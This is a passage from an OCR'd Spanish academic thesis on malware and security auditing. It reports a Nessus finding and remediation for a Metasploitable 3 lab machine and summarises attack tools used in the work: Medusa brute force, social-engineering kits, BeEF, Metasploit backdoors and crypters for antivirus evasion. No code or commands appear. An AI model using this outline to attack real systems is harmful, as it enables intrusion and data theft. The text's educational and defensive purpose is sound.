cipher mode encryption.
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Apache Multiviews Arbitrary Directory Listing

Affected Hosts 192.168.258.135
VPR Severity Low
Vulnerability Priority Rating Age of vuln: 730 days +

CVSSv3 Impact Score: 1.4
Exploit Code Maturity: PoC
Product Coverage: Low
Threat Intensity: Very Low
Threat Recency: No recorded events
Threat Sources: No recorded events
Risk Information Risk Factor: Medium
CVSS v3.0 Base Score: 5.3
CVSS v3.0 Vector:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVSS v3.0 Temporal Vector: CVSS:3.0/E:P/RL:O/RC:C
CVSS v3.0 Temporal Score: 4.8
CVSS Base Score: 5.0
CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS Temporal Vector: CVSS2#E:POC/RL:0OF/RC:C
CVSS Temporal Score: 3.9
Vulnerability Information CPE: cpe:/a:apache:http_server
Exploit Available: false
Exploitability Ease: No exploit is required
Patch Published: October 12, 2001
Vulnerability Published: July 29, 2001
Exploitable With -
Solution Upgrade to Apache version 1.3.22 or later. Alternatively, as
a workaround, disable Multiviews.

Cabe destacar que hay un total de 36 vulnerabilidades posibles en
Metasploitable 3 pero comentamos las mas importantes gracias al filtro que hace la
herramienta Nessus por medio de VPR Top Threats.

Herramientas empleadas: Mdquina virtual atacante (Kali Linux) con powershell y
mdquina virtual vulnerable (Metasploitable 3) con powershell. Ademds de las
herramientas de Metasploit para realizar las explotaciones y Nessus para analizar la
mdquina.
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Posibles remedios a las vulnerabilidades de Metasploitable 3

Apache Multiviews Arbitrary Directory Listing: Upgrade to Apache version 1.3.22 or
later. Alternatively, as a workaround, disable Multiviews.

ProFTPD mod_copy Information Disclosure: Upgrade to ProFTPD 1.3.5a /1.3.6 rc1 or
later.
Donde destacamos principalmente actualizar Apache a version 1.3.22 o
posterior (o bien, destactivar Multiviews) y actualizar a ProFTPD 1.3.5 a 1.3.6rcl o
posterior.

Herramientas empleadas: Mdquina virtual atacante (Kali Linux) con powershell y
mdquina virtual vulnerable (Metasploitable 3) con powershell. Ademds de las
herramientas de Nessus para analizar la mdquina.

3.6.6. Conclusiones de la auditoria

Con este ejemplo podemos observar de qué forma se realiza una auditoria en
ciberseguridad, y lo que da a posterior este analisis, a un informe técnico.

Hemos comprobado mediante las fases de escaneado, enumeracion vy
explotacion de qué forma podriamos atacar a nuestra maquina vulnerable,
Metasploitable 3.

A su vez, esto sirve para comprobar y reflejar de qué forma son y como se
realizan este tipo de tareas e informes que diferentes empresas solicitan a compaiiias
de ciberseguridad para ver lo expuestos que se encuentran en el mundo cibernético y
de qué forma podrian verse vulnerables.

También, por ultimo, se comenta los posibles remedios para fatigar y revocar
las vulnerabilidades existentes.
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4. Conclusionesy trabajo futuro

Cada dia se producen miles de ataques malware con diferentes nichos de
propagacion, esto se debe a la evolucidn de la tecnologia y con lo que ello conlleva, la
existencia de nuevas vulnerabilidades a explotar.

Los ciberdelincuentes se encuentran en constante aprendizaje para poder llevar
a cabo el desarrollo de diferentes vias de propagacién e infeccién del malware en los
dispositivos de las victimas con el fin de la sustraccion y robo de informacion.

Varios casos mas recientes en la actualidad pueden verse reflejados dentro de
este trabajo, desde el ataque informatico a la Real Federacidn Espaiiola de Futbol donde
se produjo la sustraccion de documentos, conversaciones y audios privados del
Presidente y el Secretario General; hasta en el Gobierno, que denunciaba que los
moviles de Sdnchez y Robles fueron espiados con el programa Pegasus.

Ambos casos, se pueden ver que son malwares del tipo spywares, los cuales son
programados para no ser detectados por las victimas, de este modo, estos no son
capaces de darse cuenta de que se encuentran infectados

A su vez, en este trabajo se han visto diferentes formas de creacion vy
propagacion del malware con distintas herramientas, orientadas desde dos escenarios
diferentes, desde el papel del atacante y desde la victima mediante entornos virtuales.

Con el uso de Medusa, teniendo la informacién de diferentes equipos (IPs,
nombres de usuario) podemos llevar a cabo el ataque de fuerza bruta por medio de
diccionarios de caracteres y de esta forma conseguir las credenciales de los equipos para
poder obrar de la forma que queramos con estas.

Por medio de Social-Engineering Toolkit (SET), métodos de ingenieria social con
la cual los cibercriminales pueden llevar a cabo diferentes campafias, para llegar a
adquirir informacién valiosa con la cual puedan obtener beneficios econdmicos, en su
gran parte.

En The Browser Exploitation Framework (Beef-Xss), comprobar como los
ciberdelincuentes son capaces de explotar y obtener informacién de los equipos de las
victimas a través de las diversas vulnerabilidades existentes en estos.

A través de Metasploit-Framework y MSF Payload Creator (Msfpc), cdmo se
genera desde cero un malware y cdmo se puede distribuir a las victimas. A su vez, nos
hemos puesto en la piel del ciberdelincuente donde hemos tenido acceso a la maquina
de la victima por medio de backdoor “puerta trasera”; que como sabemos, se trata de
un malware del tipo troyano que permite el control total remeto del atacante a la
maquina que se encuentra infectada.
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Con Crypter, de qué forma los ciberdelincuentes son capaces de ocultar sus
malwares para que sean indetectables en los dispositivos, tengan antivirus o no. Esto se
debe a la capacidad de encriptacién que tienen los Crypter.

Ademas, por ultimo, se llevd a cabo la realizacién de una auditoria de una
maquina vulnerable donde tras el andlisis y conclusiones extraidas de esta, se elabord
un informe técnico con el cual exponer las vulnerabilidades encontradas, la explotacién
de algunas de estas y remedios para evitar la explotacion de la maquina.

Como conclusidn, se puede prever que irdn surgiendo nuevas vias y medios por
donde el malware se propague y consiga la infeccion de los equipos de las victimas para
obtener informacién de estas. Por ello, el mundo de la ciberseguridad va a seguir
ampliando sus nociones y conocimientos para estar siempre al dia de todas las
actualizaciones por las que se puedan evitar diferentes ciberataques, y de esta forma,
acabar con los ciberdelincuentes.
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